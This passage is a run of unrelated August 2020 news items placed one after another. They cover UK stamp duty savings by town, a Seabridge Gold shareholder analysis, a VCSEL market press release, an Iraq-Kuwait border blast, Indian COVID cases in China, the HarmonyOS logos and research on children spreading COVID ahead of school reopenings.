most, up 49% compared with the same period last year Ms Beveridge added: 'While the stamp duty holiday has boosted the market, the impact of two months lockdown shouldn't be ignored either. 'Having spent more time in our homes, many households have decided to bring forward moves. 'With space topping buyers wish lists, demand for homes in the suburbs and country locations has increased the most, and it's these homes that are most likely to sell above their asking price. 'Over the last decade house prices in cities have risen more than twice as much as those in the country, so this trend may mean the gap between city and country house prices will begin to close.' Could you save 15,000 on buying a home? The towns where homebuyers would benefit the most from a stamp duty cut revealed By Myra Butterworth for MailOnline The places where homebuyers could benefit the most from a proposed stamp duty holiday have been revealed, with potential savings of up to 15,000. The biggest potential savings on the tax bill for buying an average home outside of London would be in Surrey's Dorking, Hampshire's Lymington and Surrey's Sunbury-on-Thames, according to Rightmove. Rightmove based its findings on the initial stamp duty threshold being raised to 500,000 and the data only included places where the current average asking price is between 450,000 and 500,000. The property website did not include first-time buyers in its analysis, as the savings would be lower for them due to stamp duty relief already in place - they pay no tax up to 300,000 and 5 per cent on the amount from 300,001 to 500,000. Maps show where the biggest savings are to be found both inside and outside of London Big stamp duty savings: This three-bed semi-detached house in Dorking, Surrey, is for sale for 495,000 via estate agents Cubitt & West Another top area for stamp duty savings is Lymington, Hampshire, where this three-bed detached house is for sale for 499,999 via Hayward Fox estate agents THE BIGGEST POTENTIAL SAVINGS OUTSIDE OF LONDON Area Region Average asking price Potential stamp duty saving Dorking, Surrey South East 498,422 14,921 Lymington, Hampshire South East 498,326 14,916 Sunbury-On-Thames, Surrey South East 498,088 14,904 Barton On Sea, New Milton, Hampshire South East 497,853 14,893 Lewes, East Sussex South East 491,304 14,565 Broxbourne, Hertfordshire East of England 486,701 14,335 Hove, East Sussex South East 481,455 14,073 Oxford, Oxfordshire South East 479,099 13,955 Leckhampton, Cheltenham, Gloucestershire South West 477,518 13,876 Hertford, Hertfordshire East of England 477,431 13,872 Borehamwood, Hertfordshire East of England 476,791 13,840 Camberley, Surrey South East 474,384 13,719 Egham, Surrey South East 473,213 13,661 Bramhall, Stockport, Cheshire North West 472,053 13,603 Fleet, Hampshire South East 471,653 13,583 Wallingford, Oxfordshire South East 469,082 13,454 Caterham, Surrey South East 467,885 13,394 Wilmslow, Cheshire North West 467,443 13,372 Tunbridge Wells, Kent South East 467,145 13,357 Bath, Somerset South West 464,617 13,231 Cambridge, Cambridgeshire East of England 464,007 13,200 Chesham, Buckinghamshire South East 462,210 13,110 Caversham, Reading, Berkshire South East 460,747 13,037 Burnham, Slough, Berkshire South East 459,634 12,982 Tonbridge, Kent South East 456,293 12,815 Hitchin, Hertfordshire East of England 453,389 12,669 Staines, Surrey South East 452,219 12,611 West Malling, Kent South East 450,553 12,528 Source: Rightmovee This four-bed detached house in Barton on Sea, in Hampshire, is for sale for 479,950 via Hayward Fox Stamp duty savings are attractive in Broxbourne, Hertfordshire, where this four-bed house is for sale for 490,000 via William H Brown estate agents Buyers in Dorking, Surrey, topped the list with a potential saving of 14,921, based on an average house price in the area of 498,422, according to Rightmove. It is followed by Lymington in Hampshire, where the potential saving is 14,916, based on an average house price of 498,326. In third place is Sunbury-On-Thames in Surrey, where the average house price is 498,088 and the potential stamp duty saving would be 14,904. The top 10 ten locations also included Barton-On-Sea in Hampshire, Lewes in East Sussex and Borehamwood in Hertfordshire. Rightmove also looked at the areas in London, with Orpington in Bromley topping the list of biggest potential savings. Homebuyers in Orpington could save 14,893, based on a typical house price in the borough of 497,852. Other places in London with the biggest potential savings include Burney Oak in Barnet, Chingford in Waltham Forest, and Sydenham in Lewisham. THE BIGGEST POTENTIAL SAVINGS IN LONDON Area Borough Average asking price Potential stamp duty saving Orpington Bromley 497,852 14,893 Burnt Oak Barnet 497,839 14,892 Chingford Waltham Forest 493,462 14,673 Sydenham Lewisham 492,960 14,648 Walthamstow Waltham Forest 492,755 14,638 Wembley Brent 482,929 14,146 Harrow Harrow 482,691 14,135 Biggin Hill Bromley 478,702 13,935 Blackfen Bexley 470,013 13,501 Greenford Ealing 465,798 13,290 Deptford Lewisham 465,670 13,283 Forest Gate Newham 464,455 13,223 Norwood Croydon 462,172 13,109 Hounslow Hounslow 460,371 13,019 Hornchurch Havering 459,108 12,955 Sutton Sutton 457,251 12,863 Tottenham Haringey 457,091 12,855 Kingsbury Barnet 456,129 12,806 Heston Hounslow 452,837 12,642 Barkingside Redbridge 447,356 12,368 Source: Rightmove In Lewes, East Sussex, this three-bed maisonette is for sale for 490,000 via Cubitt & West Before the stamp duty cuts, anyone buying a property in England or Northern Ireland that costs more than 125,000 and who isn't a first-time buyer must pay stamp duty. On lower value homes, the bills is relatively small. But high stamp duty rates on more expensive homes mean some buyers can pay huge sums. For example, the stamp duty bill today for a 500,000 home is 15,000, rising to 43,750 for a 1million home and 93,750 for a 1.5million property. Rightmove's Miles Shipside said: 'Buyers in higher priced areas with bigger deposits benefit most if the stamp duty threshold was raised to 500,000. 'A stamp duty holiday without better mortgage availability isn't really helpful for hard pressed potential first-time buyers who are already mainly exempt from it anyway.' Stamp duty calculator How much tax would you have to pay on a home or buy-to-let? Purchase price Is this a buy-to-let or second home? (Higher rates apply) Stamp duty charge The Virtual Online Museum of Art (VOMA) , curated by London-based art dealer Lee Cavaliere, will feature masterpieces on loan from international institutions such as Musee dOrsay, Whitney Museum of American Art, the Museum of Modern Art and the Art Institute of Chicago. Additionally, VOMA will present commissioned artworks by international contemporary artists as part of its newly-launched Digital Firsts Commission Programme. Yahoo! (AFP) Ram Mandir Bhoomi Pujan was the Most Trending and the Most Watched News of the week, as per Chrome News Track data for Week 31 of 2020. Chrome News Track is a yet another exclusive from Chrome Data Analytics and Media, which conducts study on News Content aired across India by choosing the Most Aired, Most Watched and Most Discussed News of the Week. The automated data is picked from 30,200 Chrome DM Panel Homes across India. It analyses the effectiveness of News aired on television every week and categorises it through three broad segments namely Most Aired, Most Watched and Most Discussed. Most Aired News in Week 31 According to the Chrome News Track data for the Week 31, 2020, Ram Mandir Bhoomi Pujan was the most Aired News this week, followed by News about Sushant Singh Rajput Commits Suicide. The News about Heavy Rain and Flood in Maharashtra stood at the 3rd spot, while New Education Policy 2020 was next in the list and News about Heavy Explosion in Beirut Capital of Lebanon managed to take the fifth and the last spot. Most Watched News in Week 31 The data also unveils that Ram Mandir Bhoomi Pujan was the most watched news for the week grabbing maximum eyeballs, followed by New Education Policy 2020. The news about Sushant Singh Rajput Commits Suicide, Heavy Rain and Flood in Maharashtra and Heavy Explosion in Beirut Capital of Lebanon also generated interest amongst the viewers and are placed at 3rd, 4th and 5th positions, respectively, in the list. Most Discussed News in Week 31 On the other hand, taking a closer view of the Most Discussed News category, the news about Ram Mandir Bhoomi Pujan has been the talk of the nation making it the most discussed news, whereas the News about the New Education Policy 2020 happens to be the 2nd most discussed news as per the automated data picked from 30,200 Chrome DM Panel Homes. Heavy Rain and Flood in Maharashtra became the 3rd most discussed news among the masses. Sushant Singh Rajput Commits Suicide and Heavy Explosion in Beirut Capital of Lebanon are placed at the 4th and 5th positions, respectively, in the list. Every investor in Seabridge Gold Inc. (TSE:SEA) should be aware of the most powerful shareholder groups. Institutions will often hold stock in bigger companies, and we expect to see insiders owning a noticeable percentage of the smaller ones. Companies that used to be publicly owned tend to have lower insider ownership. With a market capitalization of CA$1.7b, Seabridge Gold is a decent size, so it is probably on the radar of institutional investors. In the chart below, we can see that institutions are noticeable on the share registry. We can zoom in on the different ownership groups, to learn more about Seabridge Gold. View our latest analysis for Seabridge Gold What Does The Institutional Ownership Tell Us About Seabridge Gold? Many institutions measure their performance against an index that approximates the local market. So they usually pay more attention to companies that are included in major indices. Seabridge Gold already has institutions on the share registry. Indeed, they own a respectable stake in the company. This suggests some credibility amongst professional investors. But we can't rely on that fact alone, since institutions make bad investments sometimes, just like everyone does. It is not uncommon to see a big share price drop if two large institutional investors try to sell out of a stock at the same time. So it is worth checking the past earnings trajectory of Seabridge Gold, (below). Of course, keep in mind that there are other factors to consider, too. Our data indicates that hedge funds own 6.0% of Seabridge Gold. That's interesting, because hedge funds can be quite active and activist. Many look for medium term catalysts that will drive the share price higher. Pan Atlantic Bank and Trust Limited, Asset Management Arm is currently the company's largest shareholder with 9.5% of shares outstanding. With 6.0% and 5.9% of the shares outstanding respectively, Innocap Investment Management, Inc. and FCMI Parent Co. are the second and third largest shareholders. Furthermore, CEO Rudi Fronk is the owner of 0.0149613 of the company's shares. Story continues On studying our ownership data, we found that 25 of the top shareholders collectively own less than 50% of the share register, implying that no single individual has a majority interest. Researching institutional ownership is a good way to gauge and filter a stock's expected performance. The same can be achieved by studying analyst sentiments. There is a little analyst coverage of the stock, but not much. So there is room for it to gain more coverage. Insider Ownership Of Seabridge Gold While the precise definition of an insider can be subjective, almost everyone considers board members to be insiders. Company management run the business, but the CEO will answer to the board, even if he or she is a member of it. Insider ownership is positive when it signals leadership are thinking like the true owners of the company. However, high insider ownership can also give immense power to a small group within the company. This can be negative in some circumstances. I can report that insiders do own shares in Seabridge Gold Inc.. The insiders have a meaningful stake worth CA$57m. Most would see this as a real positive. If you would like to explore the question of insider alignment, you can click here to see if insiders have been buying or selling. General Public Ownership With a 46% ownership, the general public have some degree of sway over SEA. While this size of ownership may not be enough to sway a policy decision in their favour, they can still make a collective impact on company policies. Private Company Ownership We can see that Private Companies own 6.0%, of the shares on issue. Private companies may be related parties. Sometimes insiders have an interest in a public company through a holding in a private company, rather than in their own capacity as an individual. While it's hard to draw any broad stroke conclusions, it is worth noting as an area for further research. Next Steps: I find it very interesting to look at who exactly owns a company. But to truly gain insight, we need to consider other information, too. To that end, you should learn about the 3 warning signs we've spotted with Seabridge Gold (including 1 which is is a bit concerning) . If you would prefer discover what analysts are predicting in terms of future growth, do not miss this free report on analyst forecasts. NB: Figures in this article are calculated using data from the last twelve months, which refer to the 12-month period ending on the last date of the month the financial statement is dated. This may not be consistent with full year annual report figures. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com. Growing demand for VCSELs in data centers drives the growth of the global VCSEL for data communication market. North America contributed the highest share in 2019, and will maintain its dominance throughout the forecast period. VCSEL manufactrurers across the globe have halted their production activities due to disrupted supply of raw materials such as gallenium arsenide and indium phosphide with restrictions on mobility amid the lockdown. Portland, OR, Aug. 11, 2020 (GLOBE NEWSWIRE) -- According to the report published by Allied Market Research, the global VCSEL for data communication market generated $120.52 million in 2019, and is estimated to reach $358.41 million by 2027, registering a CAGR of 13.5% from 2020 to 2027. The report offers an extensive analysis of changing market dynamics, key winning strategies, business performance, major segments, and competitive scenarios. Growing demand for VCSELs in data centers across the globe and surge in usage of 3D sensing applications in smartphones drive the growth of the global VCSEL for data communication market. However, limited range of data transmission restrains the market growth. Furthermore, surge in adoption of wireless technologies is expected to provide new growth opportunities for market players in the near future. Download Sample Report: https://www.alliedmarketresearch.com/request-sample/7010 Covid-19 scenario: VCSEL manufactrurers across the globe have halted their production activities due to disrupted supply of raw materials such as gallenium arsenide and indium phosphide with restrictions on mobility amid the lockdown. Usage of VCSEL is expected to surge during the Covid-19 pandemic as it helps in reducing delays in data communications and providing secure digital transfer of information as companies adopt work from home approach. The report offers a detailed segmentation of the global VCSEL for data communication market based on type, material, and region. Story continues Based on type, the multi-mode segment contributed to the largest share in 2019, accounting for nearly three-fourths of the total share, and is estimated to maintain its dominant position during the forecast period. In addition, it is estimated to portray the highest CAGR of 14.0% during the forecast period. The report also analyzes the single mode segment. Based on material, the gallium arsenide segment accounted for the largest share in 2019, holding nearly three-fourths of the total share, and is expected to maintain the largest share throughout the forecast period. However, the indium phosphide segment is expected to register the highest CAGR of 16.5% from 2020 to 2027. Enquire For Discount: https://www.alliedmarketresearch.com/purchase-enquiry/7010 Based on region, North America contributed the highest share, accounting for more than one-third of the total market share in 2019, and will maintain its dominance throughout the forecast period. However, Asia-Pacific is expected to grow at the highest CAGR of 15.5% from 2020 to 2027. Leading market players analyzed in the research include TRUMPF, Hamamatsu Photonics K.K., RPMC Lasers, II-VI Incorporated, Vixar Inc. (Osram Opto semiconductor), Bandwidth10, VI Systems GmbH, VERTILAS GmbH, Vertilite, and Ushio America, Inc. Access Avenue (Premium on-demand, subscription-based pricing model) @ https:/www.alliedmarketresearch.com/Avenue-Membership-details Avenue, a user-based library of global market report database, provides comprehensive reports pertaining to the world's largest emerging markets. It further offers e-access to all the available industry reports just in a jiffy. By offering core business insights on the varied industries, economies, and end users worldwide, Avenue ensures that the registered members get an easy as well as single gateway to their all-inclusive requirements. About Us: Allied Market Research (AMR) is a full-service market research and business-consulting wing of Allied Analytics LLP based in Portland, Oregon. Allied Market Research provides global enterprises as well as medium and small businesses with unmatched quality of "Market Research Reports" and "Business Intelligence Solutions." AMR has a targeted view to provide business insights and consulting to assist its clients to make strategic business decisions and achieve sustainable growth in their respective market domain. We are in professional corporate relations with various companies and this helps us in digging out market data that helps us generate accurate research data tables and confirms utmost accuracy in our market forecasting. Each and every data presented in the reports published by us is extracted through primary interviews with top officials from leading companies of domain concerned. Our secondary data procurement methodology includes deep online and offline research and discussion with knowledgeable professionals and analysts in the industry. CONTACT: Contact: David Correa 5933 NE Win Sivers Drive #205, Portland, OR 97220 United States USA/Canada (Toll Free): +1-800-792-5285, +1-503-894-6022, +1-503-446-1141 UK: +44-845-528-1300 Hong Kong: +852-301-84916 India (Pune): +91-20-66346060 Fax: +1(855)550-5975 help@alliedmarketresearch.com Web: https://www.alliedmarketresearch.com New Delhi: A Delhi Police's Assistant Sub-Inspector of Police has been found dead in a property dealer's office in the Rohini area of New Delhi on Sunday morning. Dead body of a woman was also found next to him. While the deceased woman has not been identified, the Police ASI has been identified as Jogendra Lakda of Rohini Crime Branch. According to police officials, both were shot to death, woman suffered three bullet shots and ASI five. The reports said that both bodies were found in the partlially dressed condition, which indicates to their conspicuous relations as cause of the death. Jogendra Ladka was a resident of Mundka in outer Delhi. Senior officers of Delhi Police were present at the spot. An explosion near the Jraischan border located between Iraq and Kuwait targeted a convoy carrying equipment for US military forces on August 10, three Iraqi security forces have confirmed. However, it was not immediately clear if there were any US troops in the convoy or if anyone was injured in the blast. As per several reports, the explosion went off just before 9 p.m. Baghdad time (1800 GMT). However, the Iraqi military denied the occurrence of any such incident. Kuwaits Armed Forces on Twitter also refused that any such blast took place on one of the outposts on its northern border with Iraq, asserting that boarders are stable and secure. The General Staff of the Army denies what has been circulated through various media outlets about a sabotage attack on one of the centers on the northern Kuwaiti border, and affirms that the borders are stable and secure, the tweet read. While both Iraq and Kuwait have denied the attack, the US State Department is yet to comment on the explosion. Read: Trump To Host Iraq PM At White House On Aug 20 To Discuss Security, Health Care Read: Iraq To Hold Early Federal Elections In June Next Year US embassy in Kuwait said that it was investigating the matter As per several reports, the sources said that vehicles are frequently loaded with military equipment at the crossing and the cargo is regularly loaded or unloaded before entering or exiting Iraq. The Iraqi security sources also added that US forces contract foreign companies to provide security in the area. A security source had earlier stated that the explosion was caused by an Iraqi Shiite Muslim militia targeting a US military base by smuggling in an explosive device. The source also claimed that some staff members on the base were injured. However, other security sources said that a convoy was attacked and not a base. The US embassy in Kuwait had said that it was investigating the incident. An Iraqi Shiite militia group named Ashab al-Kahf claimed responsibility for the attack and published a video showing an explosion. It said it was able to destroy US military equipment and large parts of the area. (Image credit: AP) (With inputs from agency) Read: US Military Investigating Claim Of Iraq-Kuwait Border Blast Read: Iraq Invaded Kuwait With 120,000 Troops And 700 Tanks On This Day In 1990 By Henry Oladele The Muslim Rights Concern (MURIC), on Tuesday, said it has no link with any terrorist group in or outside Nigeria. The director of the organization, Prof. Ishaq Akintola, made this known in a statement in Lagos. Akintola gave the assurance that the group was discipline and would never be affiliated with any terrorist group. Our attention has been drawn to a rumour that MURIC received 200,000 dollars from Islamic State for West Africa Province (ISWAP). It is a wicked concoction from the pit of Jahannam. We declare clearly, categorically that we have never had any contact with ISWAP or any other terrorist group. We remain committed to the unity and indivisibility of Nigeria, the organization director said. Akintola noted that the allegation was illogical, saying that the group has always condemned every act of terror whether it happened within or outside the country. The motto of MURIC is dialogue, not violence. So how can we descend so low as to collect money from terrorists? Such lies will not fly. The terrorists themselves know that we can never support them. How can they give us money? The allegation is dead on arrival. We are a disciplined group. We have never been known to engage in any violent protest or attack since the establishment of MURIC in 1994. It is most diabolical to accuse a group that has pursued peaceful advocacy for 26 years of having any connection with terrorists, he said. Akintola appealed to the Federal Government to investigate the source of the information, adding that MURIC has never been involved in any international activity. We deliberately restricted ourselves to the Nigerian environment in order to avoid complications. We have enough on our hands within the country. So how can a former intelligence chief from far away Mali show interest in us? We urge our detractors to desist from their evil ways and pursue the path of honour, he said. Related Two Indians who flew into the southern Chinese city of Guangzhou on a special Air India flight on August 6 have been quarantined after they were found to be asymptomatic patients of Covid-19, Chinese health authorities have said. The diagnosis of the disease on an in-bound flight from India could lead Beijing to again stop Indians from flying to China during the inward journey of special repatriation flights. The August 6 Air India flight was part of New Delhis Vande Bharat Mission (VBM) flights meant to repatriate Indians stranded abroad; it flew in those Indians who wanted to return to China for work, and had the requisite permissions from the Chinese government. China did not allow several Indians, including families of diplomats, from taking an earlier VBM flight from New Delhi to Guangzhou city in end-June because two Indians had tested positive for Covid-19 on a Shanghai-bound special flight that landed on June 21. After the two Indians were diagnosed with Covid-19 in June, Chinese authorities gave permission only for an empty flight from India to land in the southern city of Guangzhou to repatriate Indians. Beijing only agreed to allow Indians on the August 6 flight after intense negotiations with Indian diplomats and putting in place strict health protocols including three medical tests for in-bound passengers from India. According to the local Chinese health commission, the two Indians found to be asymptomatic infected but without symptoms were a 40-year-old woman and a 55-year-old man. The diagnosis was done following tests at the Guangzhou airport under the closed-loop management system. Both Indians were sent for isolation treatment at a designated Guangzhou hospital, the statement from the health authorities said. Despite new clusters of Covid-19 breaking out in the cities of Beijing, Urumqi and Dalian since June, China has seemingly brought the coronavirus outbreak under control within the country. A number of imported cases of the disease are, however, being diagnosed daily, mostly among Chinese nationals returning from abroad. Chinese health authority said Tuesday that it received reports of 44 new confirmed Covid-19 cases on the Chinese mainland Monday, including 31 imported cases and 13 locally transmitted ones. By the end of Monday, a total of 2,200 imported cases had been reported on the mainland. Of them, according to official news agency, Xinhua, 2,046 had been discharged from hospitals after recovery, and 154 remained hospitalised, with one in serious condition. No deaths from the imported cases had been reported. As of Monday, the overall confirmed Covid-19 cases on the mainland had reached 84,712, including 794 patients who were still being treated, with 44 in severe conditions. Altogether 79,284 people had been discharged after recovery, and 4,634 had died of the disease on the mainland, the national health commission (NHC) said. Huawei CEO has just unveiled new logos for the companys very own operating system, HarmonyOS. This announcement consists of two logos, one for the Chinese, and one for global markets. New HarmonyOS logos look quite odd, to say the least If you take a look at the two images below, youll get to see both logos. As you can see, these two logos do look quite odd, to say the least. Theyre also quite different. The one for the global markets has a letter H in it. Along with that, there are three vertical lines, and six dots on it. Those dots are randomly applied to the logo itself, or at least it seems like it. Advertisement The Chinese variant of the logo doesnt have the letter H in it, its just three separate dots, and three connected ones. If you rotate that logo for 90 degrees to the right, itll actually look like a clown. That is quite weird. That is pretty much everything that Yu Chengdong revealed. He did not share any additional information about the OS, or anything of the sort. Huawei is working hard on HarmonyOS, though. The companys ultimate goal is to push this OS to pretty much all of its products. That will take a long time, though, at least it seems that way. Advertisement HarmonyOS is a microkernel-based, distributed operating system. Back when it launched, Huawei said that its designed to deliver a cohesive user experience across all devices and scenarios. HarmonyOS is also quite lightweight, according to the company. This OS wont come to smartphones anytime soon, unless something changed since Huawei shared that info at launch. This OS wont reach smartphones anytime soon The company said that it will reach smartwatches, smart screens, in-vehicle systems, and smart speakers first. So, smartphones may be in line to get it, but down the road. Advertisement Huawei said that HarmonyOS is seamless, smooth, secure, and unified. It also said that theres a huge emphasis on security when it comes to this operating system. Theres a lot to look forward to when it comes to HarmonyOS, though it remains to be seen if it will become as popular as Huawei hopes it will. This OS is still in its infancy, basically. Moving away from Android may prove to be a difficult task for Huawei. The US ban hit the company hard, and it has issues not only on the software side, but on hardware as well. Huawei will be unable to manufacture its Kirin processors in the near future. The company announced it will halt production in September. Teaching unions are still furious at Government plans to press on with reopening schools in England in September, insisting the science is still not clear enough to be sure it's safe. Pupils in Scotland started their full return to education today more than four months after lockdown began in March. And Boris Johnson's Government insists children all over the UK will be required to get back to classrooms from September, when summer is over. But touchy union bosses say the 'science is still not clear enough' to safely open schools and an 'unnecessary gamble' that could drive Covid-19 cases up. It comes after the findings of a government-run study reported today suggests teenagers could be just as infectious as adults. Ministers are reluctant to say the findings which back those of other similar studies will disrupt the Government's plans to reopen schools in England in September, and Mr Johnson today insisted he has 'no doubt' it is safe for schools to reopen. Education Secretary Gavin Williamson's claimed this morning that there is 'little evidence that the virus is transmitted at school' which unions wholeheartedly disagree with. But science on the subject has been conflicting in recent months and studies from around the world have been unable to draw the same conclusions. One study in Australia found that the rate of adults catching the virus from children appeared 50 per cent lower than vice versa, suggesting they were less infectious. Another done in Chicago, however, found that some infected youngsters had 100 times as many viruses circulating in their bodies than adults did, which likely made them considerably more likely to spread the disease. Data shows very young children are unlikely to get severely sick with the disease and it is even more rare that they die, while elderly people are far more vulnerable. It is not clear, however, how much children contribute to the spread of the virus, which has been made difficult to measure due to worldwide school closures. Here, MailOnline rounds up some of the most prominent - and confusing - research into the topic: Children in Scotland are the first to return to school today (pictured, Kelso High School) amid unease about their role in the spread of Covid-19 Unions have said the 'science is still not clear enough' to safely open schools and an 'unnecessary gamble' that could drive Covid-19 cases up. Pictured, a pupil returning to Kelso High School today Education Secretary Gavin Williamson's claimed this morning that there is 'little evidence that the virus is transmitted at school' which unions wholeheartedly disagree with. Pictured, Kelso High School today The return of schooling has been a controversial issue in Britain as scientists try and figure out how much impact children have on the transmission of Covid-19. Boris Johnson today insisted he has 'no doubt' it is safe for schools to reopen. He is pictured talking with head teacher Bernadette Matthews as he visits St Joseph's Catholic Primary School in Upminster, east London, on August 10 What does the evidence say about transmission of the virus by children? Older pupils spread the virus 'like adults do' The latest study by Public Health England reportedly found that secondary school pupils are as likely to transmit coronavirus as adults. Education Secretary Gavin Williamson has said PHE findings due to be published later this year showed there was little risk from the Government's plans to reopen schools in England in September. UNIONS CLAIM SCIENCE ON COVID-19 IS 'NOT CLEAR ENOUGH' TO BRING BACK SCHOOLS Unions have warned the science on coronavirus infection is 'not clear enough' to reopen schools fully. The National Education Union (NEU) joint general secretary Kevin Courtney demanded the government is 'much clearer' on the risks of getting pupils back into classrooms. 'Schools should be one of the first areas to open if they can safely, but we have concerns that the science is not clear enough,' he said. 'It would be terrible if the R goes above one again, as that would mean a second peak. 'We also continue to have concerns about vulnerable staff, parents and grandparents, and the government needs to be much clearer on the advice and risks for them.' Education Secretary Gavin Williamson claimed today that there is 'little evidence' of a Covid-19 transmission risk in schools. Janet Newsham, chairwoman of the Hazards Campaign for workplace safety, branded the claim 'patently untrue' and warned that the September return could drive up the number of Covid-19 cases. Ms Newsham said: 'Crowding kids back into these schools is an unnecessary gamble and could be counterproductive, setting back efforts to prevent Covid-19 and leading to further shutdowns.' The children's commissioner for England, Anne Longfield, has been calling for teachers and children to be tested weekly to prevent transmission. Advertisement The education secretary said the 'latest research, which is expected to be published later this year one of the largest studies on the coronavirus in schools in the world', would make it 'clear there is little evidence that the virus is transmitted at school'. However The Times reported that while there was little risk from primary schools, researchers who had worked on the study were unhappy with the way their findings, which have not yet been fully analysed, had been used by ministers who argue that it is safe for all children to return to class at the start of next term. While preliminary results of the study which separated children into those older than 10 and those younger indicate that primary schools are not a significant danger, with just six positive test results out of 9,000 tested so far, it is believed that a difference was found in the older group. A source claimed the study suggested that as pupils grow older 'their bodies start to act like small adults' as they spread the virus more effectively. A PHE spokesperson said: 'PHE analysis of recorded cases and outbreaks in educational settings in England is currently undergoing pre-publication verification and review, and will be published in due course. 'It appears to show that SARS-CoV-2 infections and outbreaks were uncommon in educational settings during the first month after the easing of national lockdown in England.' 'Additionally, a nationwide surveillance programme examining antibody prevalence in schoolchildren (sKIDs), is being analysed and should be published in the coming weeks. 'These publications combined will give the most complete picture of the landscape of Covid-19 in educational settings that we have seen to date.' Schools are 'minor players' in the overall transmission of coronavirus Professor Russell Viner, president of the Royal College of Paediatrics and Child Health, said schools are 'minor players' in the transmission of coronavirus, and 'we owe it to our children' to re-open schools. He said parents should be 'reassured' by growing evidence from countries including Germany, Singapore and the Netherlands, which shows 'little significant transmission in schools'. Professor Viner, who also sits on the Government's Scientific Advisory Group, said returning next month was likely to 'add little' to the reproduction rate of infection. He told BBC Radio 4's Today programme on Monday that reopening schools is one of the 'least risky things we can do'. He said: 'There's always dangers with evidence but I think the evidence from around the world is starting to become convincing that for younger children, particularly primary school children, that they appear to be less likely to catch this virus, and they don't play a big role in transmitting it.' Professor Viner highlighted the 'higher rates of some concerning conditions', observed in children's absence from school, including obesity. Findings of a study revealed today suggests older pupils could be as infectious as adults, as rules in Scotland mean secondary school pupils will have to avoid close contact, including sharing desks, while primary school pupils do not need to. Pictured, a group of girls returning to school in Kelso, Scotland, today Pupils return to Kelso High School for the first time since the start of the coronavirus lockdown nearly five months ago on August 11 in Kelso, Scotland Schoolchildren 'do not spread the virus as much as staff do' Research in Australia one of the only countries to keep its schools open during the pandemic found that children do not transit the coronavirus to other people as much as staff do, suggesting adults are more capable of spreading the disease. The team led by Professor Kristine Macartney identified all staff and children who attended a school or nursery in the Australian state of New South Wales while they had Covid-19. Overall, 12 children and 15 adults were found to have attended schools or nurseries while infectious between 25 January to 10 April, when term ended. All adults or the parents of children were interviewed at diagnosis to track who the cases had been in contact with during the time that they were infectious. The team showed that, of the 633 close contacts who were tested following symptoms, 18 were found to have Covid-19. Further analysis of a subset of schools showed the transmission rate between staff (4.4 per cent) was much higher than between children (0.3 per cent), suggesting children do not spread the virus as much as adults. The attack rate from child to staff was one per cent for child-to-staff, compared to 1.5 per cent the other way around, according to the findings published in the journal The Lancet Child and Adolescent Health on August 3. The researchers, led by Professor Kristine Macartney also said the transmission rates may have been higher in areas where contact tracing systems and testing were not as rigorous. An Australian study found the transmission rate between staff (4.4 per cent) was much higher than between children (0.3 per cent), suggesting children do not spread the virus as much as adults Teenagers 'spread the coronavirus as much as adults do' A South Korean study found children under 10 transmitted less often to adults while those between the ages of 10 and 19 spread the virus as well as adults do. The researchers at Korea Centers for Disease Control and Prevention looked at 5,706 infected people and studies their 59,073 contacts for around nine days to see who was later diagnosed. They detected Covid-19 in 11.8 per cent of household contacts, and rates were higher for contacts of children than adults. Households with the older children had the highest rate of spread to other members18.6 per cent of any age group. Only those in their 70s had an attack rate as high (18 per cent), followed by those in their 50s (17 per cent) and their 40s (11.8 per cent). Households with younger children had the least spread, just 5.3 per cent, according to the findings which will be published in the autumn edition of Emerging Infectious Diseases. Outside of the home, teenagers didn't pose as much threat, with 0.9 per cent of their contacts testing positive compared with 4.8 per cent in the 70 to 79 age bracket. The authors wrote: 'Young children may show higher attack rates when the school closure ends, contributing to community transmission of Covid-19.' A study in South Korea found those aged 10-19 passed the coronavirus on to 18.6 per cent of their household contacts, and 0.9 per cent of their contact outside the home SCHOOLS 'WILL BE THE LAST TO CLOSE' IN LOCAL LOCKDOWNS Schools will be the last places to close, even in a local lockdown, Boris Johnson vowed yesterday. As the Government's row with the unions escalated, the Prime Minister said getting all children back to school full-time in England next month was the 'right thing for everybody'. His comments, on a visit to a school in east London, came after one teachers' union said ministers should have a plan B such as a 'week-on, week-off' rota system for pupils in case of further lockdowns and spikes in Covid-19 cases. Mr Johnson said he hoped schools would not be forced to close as a result of local action, adding it was the 'last thing' that the Government wanted to do. 'But clearly what we are doing the way we are trying to manage the Covid pandemic is to have local measures in place and local test and trace to introduce restrictions where that's necessary,' he said. 'As we have all said, the last thing we want to do is to close schools. We think that education is the priority for the country and that is simple social justice.' Ministers have become increasingly frustrated with the teaching unions in recent days, particularly after the National Education Union published a 'nit-picking' list of 200 safety demands for all schools to adhere to. Advertisement Children without symptoms 'may spread the disease more' Independent SAGE a group of experts set up with of providing 'robust, independent advice' to the UK Government during Covid-19 has previously warned that children could spread coronavirus simply because they are not detected as a case. Children may be just as likely to catch the coronavirus as adults but don't seem to be diagnosed often. This is for two reasons children to do not show the typical symptoms that adults to, if at all, and testing was only expanded to children in May. A report from Independent SAGE published in May, which discussed whether schools should re-open on June 1, said: 'Studies have shown that between one per cent and five per cent of diagnosed Covid-19 cases are in children, but many children may be undiagnosed because up to a third of infected children never develop any symptoms (Ludvigsson, 2020). 'Current UK data suggest that they are as likely as adults to become infected and carry the virus but they may be less likely than adults to transmit the virus because, for instance, adults are contagious for longer than children. 'However, the impact of placing many children in one place could lead schools to become 'institutional amplifiers' if asymptomatic children go unnoticed until an adult becomes symptomatic.' Children's viral loads are up to 100 times higher than adults', making them more infectious Children under five years old can transmit the novel coronavirus just as easily as older kids can, a study in July claimed. Researchers from Ann & Robert H. Lurie Children's Hospital of Chicago collected nasopharyngeal swabs from children at a paediatric tertiary medical center in Chicago. They looked at 145 patients who developed to moderate illness within one week of experiencing symptoms, according to the findings published in JAMA Pediatric. Three groups were compared: children younger than age five, children between ages five and 17 years and adults from ages 18 to 65. The findings shows that although children kindergarten-age or younger only have mild illness, they had viral loads between 10-fold and 100-fold greater amount in their upper respiratory tract. 'We found that children under five with Covid-19 have a higher viral load than older children and adults, which may suggest greater transmission, as we see with respiratory syncytial virus, also known as RSV,' said lead author Dr Taylor Heald-Sargent, a paediatric infectious diseases specialist at Lurie Children's. 'Our study was not designed to prove that younger children spread Covid-19 as much as adults, but it is a possibility.' This implies that young children can spread the virus just as easily as teenagers, despite only developing a mild illness Children have a 